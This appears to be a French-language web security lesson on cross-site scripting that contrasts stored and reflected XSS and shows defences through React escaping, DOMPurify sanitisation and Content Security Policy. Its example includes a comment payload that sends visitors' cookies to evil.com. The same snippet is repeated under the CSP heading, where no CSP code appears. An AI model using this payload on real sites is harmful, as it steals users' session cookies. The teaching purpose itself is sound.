Cross-Site Scripting

Injecter du JavaScript dans les pages d'autres utilisateurs

Section 1

Types de XSS

Step 1

XSS stocké vs réfléchi

XSS stocké : le script malveillant est enregistré en base de données et exécuté chez tous les visiteurs. XSS réfléchi : le script est dans l'URL et exécuté chez la victime qui clique sur le lien.

snippet.typescript

typescript

1// ❌ Scénario XSS stocké — commentaires de tutoriel
2// L'attaquant poste un "commentaire" :
3const maliciousComment = '<script>fetch("https://evil.com/steal?c="+document.cookie)</script>';
4
5// Ce commentaire est stocké en DB, puis affiché à tous les visiteurs
6// Chaque visiteur envoie ses cookies à evil.com
7
8// ❌ Affichage non sécurisé (HTML brut)
9// React : dangerouslySetInnerHTML={{ __html: comment.content }} ← DANGEREUX
10// Template : <%= comment.content %>                              ← DANGEREUX (EJS non-escaped)
11
12// ✅ Protection 1 : Encoder à l'affichage
13// React encode automatiquement :
14function Comment({ content }: { content: string }) {
15  return <p>{content}</p>; // ✅ React échappe automatiquement le HTML
16  // <script>... devient &lt;script&gt;...
17}
18
19// ✅ Protection 2 : Sanitiser au moment de la sauvegarde (si HTML riche nécessaire)
20import DOMPurify from "dompurify";
21
22function sanitizeHtml(dirty: string): string {
23  return DOMPurify.sanitize(dirty, {
24    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'code', 'pre'],
25    ALLOWED_ATTR: ['href', 'target'],
26  });
27}
28
29// ✅ Protection 3 : Content Security Policy (header HTTP)
30// Empêche l'exécution de scripts non autorisés
31// (voir leçon suivante)

Step 2

Content Security Policy (CSP)

La CSP est un header HTTP qui indique au navigateur quels scripts et ressources sont autorisés. C'est la défense en profondeur contre XSS.

snippet.typescript

typescript

1// ❌ Scénario XSS stocké — commentaires de tutoriel
2// L'attaquant poste un "commentaire" :
3const maliciousComment = '<script>fetch("https://evil.com/steal?c="+document.cookie)</script>';
4
5// Ce commentaire est stocké en DB, puis affiché à tous les visiteurs
6// Chaque visiteur envoie ses cookies à evil.com
7
8// ❌ Affichage non sécurisé (HTML brut)
9// React : dangerouslySetInnerHTML={{ __html: comment.content }} ← DANGEREUX
10// Template : <%= comment.content %>                              ← DANGEREUX (EJS non-escaped)
11
12// ✅ Protection 1 : Encoder à l'affichage
13// React encode automatiquement :
14function Comment({ content }: { content: string }) {
15  return <p>{content}</p>; // ✅ React échappe automatiquement le HTML
16  // <script>... devient &lt;script&gt;...
17}
18
19// ✅ Protection 2 : Sanitiser au moment de la sauvegarde (si HTML riche nécessaire)
20import DOMPurify from "dompurify";
21
22function sanitizeHtml(dirty: string): string {
23  return DOMPurify.sanitize(dirty, {
24    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'code', 'pre'],
25    ALLOWED_ATTR: ['href', 'target'],
26  });
27}
28
29// ✅ Protection 3 : Content Security Policy (header HTTP)
30// Empêche l'exécution de scripts non autorisés
31// (voir leçon suivante)

Topics and skills covered

Sécurité
XSS
CSP
Sanitization
Encoding

SQL Injection — Comprendre et Prévenir

Ch.1

IDOR et Broken Access Control

Ch.1